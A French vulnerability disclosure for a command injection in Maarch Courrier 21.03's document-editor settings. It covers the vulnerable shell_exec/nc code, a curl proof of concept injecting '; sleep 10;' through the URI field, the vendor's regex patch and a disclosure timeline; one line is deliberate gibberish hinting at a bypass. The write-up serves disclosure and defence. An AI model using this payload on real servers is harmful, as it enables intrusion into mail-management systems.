Maarch Courrier 21.03 - Remote Code Execution

Introduction

Lors d’une session de formation organisée par [Offenskill] (https://offenskill.com), nous nous sommes concentrés sur la revue de code en boîte blanche et l’introspection.
Quelques labs ont été proposés, mais celui qui a attiré notre attention était une solution web PHP nommée Maarch Courrier.
Le code source est disponible dans leur Gitlab MaarchCourrier, et la version que nous avons testée était l’image dockerhub maarch/maarchcourrier:21.03.

Le logiciel est décrit comme suivant :

Maarch Courrier est un gestionnaire de courrier électronique (courrier postal, courrier électronique, etc.) et une gestion électronique de documents.

Cet article traite en détail d’une RCE post auth, mais beaucoup d’autres articles sont à venir.\ En fait, la divulgation actuelle couvre à peu près 15% de ce qui a été découvert au cours de la formation.\ De nombreux problèmes n’ont pas encore été divulgués en raison d’interactions extrêmement lentes avec le vendeur, mais c’est une autre histoire !

Remote Code Execution

Description de la vulnérabilité

Une vulnérabilité de type injection de commande a été découverte dans le logiciel Maarch Courrier. Cette vulnérabilité permet à un attaquant ayant accès à un compte administrateur d’exécuter des commandes sur le serveur sur lequel Maarch Courrier est installé.

L’attaquant peut alors utiliser cet accès pour effectuer des actions malveillantes telles que supprimer ou modifier des données confidentielles, interférer avec la disponibilité du logiciel ou l’intégrité des données échangées. Les points les plus intéressants étant d’avoir accès au réseau interne de la victime et aux secrets potentiels que recèle le serveur.

La vulnérabilité peut être exploitée en injectant des commandes malveillantes via l’interface utilisateur de la configuration du logiciel Maarch Courrier, et en les déclenchant lors d’une seconde interaction. La configuration soumise comporte un manque de vérification, conduisant à l’injection de commandes.

Walkthrough

La vulnérabilité est présente dans les paramètres d’administration

Puis dans Autre(s), Éditeurs de documents et enfin dans Onlyoffice ou CollaboraOnline.

En modifiant les champs ci-dessus (c’est-à-dire en changeant le paramètre URI du serveur), une requête PUT est faite à l’API REST sur l’endpoint /rest/configurations/admin_document_editors, que nous pouvons afficher joliment comme montré ci-dessous avec un proxy comme Burp Suite.

Cependant, il est possible de modifier les champs ci-dessus, en particulier le champ URI, afin d’injecter une commande.

Voici l’exemple d’une commande cURL qui permet à un attaquant d’exfiltrer des données avec une requête HTTP sur notre domaine d’attaque (jetable) kymbesnitwoa7yazn0qfkkgdt4zvnobd.oastify.com, qui est sous notre contrôle.
Ensuite, une requête GET est envoyée sur l’endpoint /rest/onlyOffice/available afin d’effectuer le test de connexion sur notre instance onlyOffice, ce qui déclenchera l’exécution de la commande.

Nous pouvons maintenant vérifier sur notre domaine d’attaque si nous avons reçu une requête HTTP avec le résultat de la commande shell id.

Et en effet, nous avons reçu une requête du serveur sur lequel Maarch Courrier est installé.

White-Box Audit

Pour cette vulnérabilité, le code vulnérable est présent dans la méthode isAvailable du fichier :

  • /html/MaarchCourrier/src/app/contentManagement/controllers/DocumentEditorController.php
[...]
    public static function isAvailable(array $args)
    {
        ValidatorModel::notEmpty($args, ['uri', 'port']); // Parameter validation
        ValidatorModel::stringType($args, ['uri', 'port']); // Parameter validation

        $aUri = explode("/", $args['uri']); // Input cleanup attempt
        $exec = shell_exec("nc -vz -w 5 {$aUri[0]} {$args['port']} 2>&1"); // Injection point

        if (strpos($exec, 'not found') !== false) {
            return ['errors' => 'Netcat command not found', 'lang' => 'preRequisiteMissing'];
        }

        return strpos($exec, 'succeeded!') !== false || strpos($exec, 'open') !== false || strpos($exec, 'Connected') !== false;
    }
[...]

En effet, dans ce cas, le programme netcat (nc) est appelé à l’aide d’une fonction PHP shell_exec(), la seule vérification d’une entrée utilisateur étant de tronquer la première occurrence de / avec la fonction PHP explode().

Ensuite, la méthode isAvailable est appelée à deux endroits pour vérifier qu’un (IP ou DOMAINE) et PORT est accessible, pour onlyOffice et CollaboratorOnline.

  • /html/MaarchCourrier/src/app/contentManagement/controllers/CollaboraOnlineController.php
[...]
    public static function isAvailable(Request $request, Response $response)
    {
        $configuration = ConfigurationModel::getByPrivilege(['privilege' => 'admin_document_editors', 'select' => ['value']]);
        $configuration = !empty($configuration['value']) ? json_decode($configuration['value'], true) : [];

        if (empty($configuration) || empty($configuration['collaboraonline'])) {
            return $response->withStatus(400)->withJson(['errors' => 'Collabora Online is not enabled', 'lang' => 'collaboraOnlineNotEnabled']);
        } elseif (empty($configuration['collaboraonline']['uri'])) {
            return $response->withStatus(400)->withJson(['errors' => 'Collabora Online server_uri is empty', 'lang' => 'uriIsEmpty']);
        } elseif (empty($configuration['collaboraonline']['port'])) {
            return $response->withStatus(400)->withJson(['errors' => 'Collabora Online server_port is empty', 'lang' => 'portIsEmpty']);
        }

        $uri  = $configuration['collaboraonline']['uri'];
        $port = (string)$configuration['collaboraonline']['port'];

        $isAvailable = DocumentEditorController::isAvailable(['uri' => $uri, 'port' => $port]); // Called here

        if (!empty($isAvailable['errors'])) {
            return $response->withStatus(400)->withJson($isAvailable);
        }

        return $response->withJson(['isAvailable' => $isAvailable]);
    }
[...]
  • /html/MaarchCourrier/src/app/contentManagement/controllers/OnlyOfficeController.php
[...]
    public function isAvailable(Request $request, Response $response)
    {
        $configuration = ConfigurationModel::getByPrivilege(['privilege' => 'admin_document_editors', 'select' => ['value']]);
        $configuration = !empty($configuration['value']) ? json_decode($configuration['value'], true) : [];

        if (empty($configuration) || empty($configuration['onlyoffice'])) {
            return $response->withStatus(400)->withJson(['errors' => 'Onlyoffice is not enabled', 'lang' => 'onlyOfficeNotEnabled']);
        } elseif (empty($configuration['onlyoffice']['uri'])) {
            return $response->withStatus(400)->withJson(['errors' => 'Onlyoffice server_uri is empty', 'lang' => 'uriIsEmpty']);
        } elseif (empty($configuration['onlyoffice']['port'])) {
            return $response->withStatus(400)->withJson(['errors' => 'Onlyoffice server_port is empty', 'lang' => 'portIsEmpty']);
        }

        $uri  = $configuration['onlyoffice']['uri'];
        $port = (string)$configuration['onlyoffice']['port'];

        $isAvailable = DocumentEditorController::isAvailable(['uri' => $uri, 'port' => $port]); // Called here

        if (!empty($isAvailable['errors'])) {
            return $response->withStatus(400)->withJson($isAvailable);
        }

        return $response->withJson(['isAvailable' => $isAvailable]);
    }
[...]

Pour corriger cette vulnérabilité, nous avons suggéré d’éviter de s’appuyer sur une exécution binaire de bas niveau et de tester plutôt cette connexion avec des composants php avec une analyse stricte (pas de regex, une vraie librairie et une structure de données) des entrées de l’utilisateur.

En gardant cela à l’esprit, le correctif publié devrait au moins implémenter une validation forte et stricte de chaque entrée utilisateur et autoriser uniquement les caractères voulus pour empêcher les attaquants d’injecter des commandes malveillantes.

Proof of Concept (PoC)

BEARER=XXX.YYY.ZZZ
# Place the payload
curl -X PUT -H "Authorization: Bearer $BEARER" \
  -H "Content-Type: application/json" -d '{
  "java": {},
  "onlyoffice": {
    "ssl": false,
    "uri": "42.42.42.42; sleep 10;",
    "port": "4242",
    "token": "",
    "authorizationHeader": "Authorization"
  }
}' http://localhost/rest/configurations/admin-document-editors

# Trigger the RCE
curl -H "Authorization: Bearer $BEARER" \
    http://localhost/rest/onlyOffice/available

Patch

Le correctif est disponible ici : GitLab - MaarchCourrier - Commit cba02df3070dd682b76129122adb6eeeb6e8109e

diff --git a/src/app/configuration/controllers/ConfigurationController.php b/src/app/configuration/controllers/ConfigurationController.php
index d9e34b3c990e1c23f59c1188e89be23d72e3ecde..ce0512ec4ee714ac071a512b17bf3cc8b1d9925a 100755
--- a/src/app/configuration/controllers/ConfigurationController.php
+++ b/src/app/configuration/controllers/ConfigurationController.php
@@ -145,6 +145,8 @@ class ConfigurationController
                 } elseif ($key == 'onlyoffice') {
                     if (!Validator::notEmpty()->stringType()->validate($editor['uri'] ?? null)) {
                         return $response->withStatus(400)->withJson(['errors' => "Body onlyoffice['uri'] is empty or not a string"]);
+                    } elseif (!preg_match('/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})([\/\w .-]*)*\/?$|^(https?:\/\/)?((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/', $editor['uri'] ?? null)) {
+                        return $response->withStatus(400)->withJson(['errors' => "Body onlyoffice['uri'] is not a valid URL or IP address"]);
                     } elseif (!Validator::notEmpty()->intVal()->validate($editor['port'] ?? null)) {
                         return $response->withStatus(400)->withJson(['errors' => "Body onlyoffice['port'] is empty or not numeric"]);
                     } elseif (!Validator::boolType()->validate($editor['ssl'] ?? null)) {
@@ -155,6 +157,8 @@ class ConfigurationController
                 } elseif ($key == 'collaboraonline') {
                     if (!Validator::notEmpty()->stringType()->validate($editor['uri'] ?? null)) {
                         return $response->withStatus(400)->withJson(['errors' => "Body collaboraonline['uri'] is empty or not a string"]);
+                    } elseif (!preg_match('/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})([\/\w .-]*)*\/?$|^(https?:\/\/)?((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/', $editor['uri'] ?? null)) {
+                        return $response->withStatus(400)->withJson(['errors' => "Body collaboraonline['uri'] is not a valid URL or IP address"]);
                     } elseif (!Validator::notEmpty()->intVal()->validate($editor['port'] ?? null)) {
                         return $response->withStatus(400)->withJson(['errors' => "Body collaboraonline['port'] is empty or not numeric"]);
                     } elseif (!Validator::boolType()->validate($editor['ssl'] ?? null)) {
@@ -169,6 +173,8 @@ class ConfigurationController
                         return $response->withStatus(400)->withJson(['errors' => "Body office365sharepoint['clientSecret'] is empty or not a string"]);
                     } elseif (!Validator::notEmpty()->stringType()->validate($editor['siteUrl'] ?? null)) {
                         return $response->withStatus(400)->withJson(['errors' => "Body office365sharepoint['siteUrl'] is empty or not a string"]);
+                    } elseif (!preg_match('/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})([\/\w .-]*)*\/?$|^(https?:\/\/)?((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/', $editor['siteUrl'] ?? null)) {
+                        return $response->withStatus(400)->withJson(['errors' => "Body office365sharepoint['uri'] is not a valid URL or IP address"]);
                     }
                     $siteId = Office365SharepointController::getSiteId([
                         'tenantId'     => $editor['tenantId'],
diff --git a/src/app/contentManagement/controllers/CollaboraOnlineController.php b/src/app/contentManagement/controllers/CollaboraOnlineController.php
index 99ed13c99dfad83f14ca7eb1309da4dace3b8073..ee3c5421efdac7f3514b94bf38877099808faa99 100644
--- a/src/app/contentManagement/controllers/CollaboraOnlineController.php
+++ b/src/app/contentManagement/controllers/CollaboraOnlineController.php
@@ -296,7 +296,7 @@ class CollaboraOnlineController
         }
 
         $uri  = $configuration['collaboraonline']['uri'];
-        $port = (string)$configuration['collaboraonline']['port'];
+        $port = (int)$configuration['collaboraonline']['port'];
 
         $isAvailable = DocumentEditorController::isAvailable(['uri' => $uri, 'port' => $port]);
 
diff --git a/src/app/contentManagement/controllers/DocumentEditorController.php b/src/app/contentManagement/controllers/DocumentEditorController.php
index 435ee1cd22bf1cbdd11fd71692a3de174cfab07c..6e97696ad11000780718669cffffd3e1d92c957e 100644
--- a/src/app/contentManagement/controllers/DocumentEditorController.php
+++ b/src/app/contentManagement/controllers/DocumentEditorController.php
@@ -46,7 +46,13 @@ class DocumentEditorController
     public static function isAvailable(array $args)
     {
         ValidatorModel::notEmpty($args, ['uri', 'port']);
-        ValidatorModel::stringType($args, ['uri', 'port']);
+        ValidatorModel::stringType($args, ['uri']);
+        ValidatorModel::intType($args, ['port']);
+
+        $regex = '/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})([\/\w .-]*)*\/?$|^(https?:\/\/)?((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/';
+        if (!preg_match($regex, $args['uri'] ?? null)) {
+            return ['errors' => "Argument uri is not a valid URL or IP address"];
+        }
 
         $aUri = explode("/", $args['uri']);
         $exec = shell_exec("nc -vz -w 5 {$aUri[0]} {$args['port']} 2>&1");
diff --git a/src/app/contentManagement/controllers/OnlyOfficeController.php b/src/app/contentManagement/controllers/OnlyOfficeController.php
index b2718d2c45ffb21a70640c297fa9021321da8626..51a1a6c8e6e49c54f66c2ff5219e6799f92e0768 100644
--- a/src/app/contentManagement/controllers/OnlyOfficeController.php
+++ b/src/app/contentManagement/controllers/OnlyOfficeController.php
@@ -303,7 +303,7 @@ class OnlyOfficeController
         }
 
         $uri  = $configuration['onlyoffice']['uri'];
-        $port = (string)$configuration['onlyoffice']['port'];
+        $port = (int)$configuration['onlyoffice']['port'];
 
         $isAvailable = DocumentEditorController::isAvailable(['uri' => $uri, 'port' => $port]);
 
@@ -327,7 +327,7 @@ class OnlyOfficeController
         }
 
         $uri  = $configuration['onlyoffice']['uri'];
-        $port = (string)$configuration['onlyoffice']['port'];
+        $port = (int)$configuration['onlyoffice']['port'];
 
         $isAvailable = DocumentEditorController::isAvailable(['uri' => $uri, 'port' => $port]);

Les valeurs des paramètres sont maintenant vérifiées par rapport à une expression régulière. On peut facilement le visualiser avec regexper:

La question qui se pose maintenant est de savoir s’il est encore possible de l’exploiter ?

Eh bien, en réalité, lzklkfjefjzlfzj ajfzelfjzlzjfelkj! 😊

Timeline

  • 19/02/2023 - Premier contact avec [email protected]
  • 20/02/2023 - Maarch nous redirige vers l’interlocuteur qui gérera notre rapport
  • 20/02/2023 - Avant la divulgation, nous demandons un accord sur un processus CVE qui est important pour nous et pour le domaine de la recherche en général.
  • 21/02/2023 - Maarch accepte de suivre le processus CVE et les déclarations de MITRE.
  • 28/02/2023 - Nous envoyons les détails de la première vulnérabilité (couverte dans cet article)
  • 08/03/2023 - Maarch nous confirme qu’ils ont pris note du problème (issue ouverte ici : https://forge.maarch.org/issues/24124)
  • 09/03/2023 - Nous informons que nous allons suivre la politique Google Project Zero 90 days Disclosure
  • 31/03/2023 - Tentative de relancer Maarch - retry 1
  • 07/04/2023 - Maarch nous informe que ce problème sera corrigé lors de la prochaine version en avril/mai.
  • 10/04/2023 - Nous proposons d’examiner le correctif avant sa publication et nous les remercions pour la mise à jour.
  • 07/05/2023 - Tentative de relancer Maarch - retry 2
  • 10/05/2023 - Maarch nous informe que le patch sera publié le 15/05 (rien sur l’attribution du CVE)
  • 31/05/2023 - Tentative de relancer Maarch - retry 3
  • 12/07/2023 - Tentative de relancer Maarch - retry 4

A ce jour, nous attendons toujours une réponse et un numéro CVE.

Credits

Participez aux prochaines formations sur la sécurité Web avec Offenskill